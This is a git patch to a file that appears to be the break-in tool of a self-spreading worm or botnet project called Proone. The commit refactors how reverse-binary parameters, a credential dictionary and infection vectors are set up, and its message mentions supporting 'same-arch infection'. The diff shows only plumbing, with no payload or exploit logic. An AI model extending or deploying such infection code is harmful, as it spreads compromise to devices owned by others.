From 5a98bcd78867b4fb1a272ce26774c8811f28750d Mon Sep 17 00:00:00 2001 From: David Timber Date: Thu, 22 Jul 2021 22:30:48 +1000 Subject: Impl PRNE_HTBT_OP_RCB ... * Parameterize prne_start_bin_rcb() args * Change value of PRNE_ARCH_NONE to 0 to use it over the wire (problem arises deserialising) * tostr() and fstr() functions set errno to EINVAL * Run bne without binary archive to support same-arch infection --- src/proone-bne.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) (limited to 'src/proone-bne.c') diff --git a/src/proone-bne.c b/src/proone-bne.c index 20fb24b..0a3f75d 100644 --- a/src/proone-bne.c +++ b/src/proone-bne.c @@ -175,6 +175,7 @@ int main (const int argc, const char **args) { prne_cred_dict_t dict; prne_bin_archive_t ba; prne_bne_param_t param; + prne_rcb_param_t rcb; prne_pack_rc_t prc; mbedtls_entropy_context entropy; mbedtls_ctr_drbg_context ctr_drbg; @@ -191,6 +192,7 @@ int main (const int argc, const char **args) { prne_init_cred_dict(&dict); prne_init_bne_param(¶m); + prne_init_rcb_param(&rcb); prne_init_bin_archive(&ba); mbedtls_x509_crt_init(&htbt_ssl.ca); @@ -295,13 +297,15 @@ int main (const int argc, const char **args) { goto END; } + rcb.m_dv = m_dv; + rcb.dv_len = dv_len; + rcb.ba = &ba; + param.htbt_ssl_conf = &htbt_ssl.conf; param.cred_dict = &dict; param.vector.arr = ARR_VEC; param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t); - param.rcb.m_dv = m_dv; - param.rcb.dv_len = dv_len; - param.rcb.ba = &ba; + param.rcb = &rcb; param.cb.exec_name = cb_exec_name; for (size_t i = 0; i < cnt; i += 1) { @@ -381,6 +385,7 @@ END: // CATCH mbedtls_ssl_config_free(&htbt_ssl.conf); prne_free_cred_dict(&dict); prne_free_bne_param(¶m); + prne_free_rcb_param(&rcb); prne_free_bin_archive(&ba); prne_close(fd); prne_free(arr); -- cgit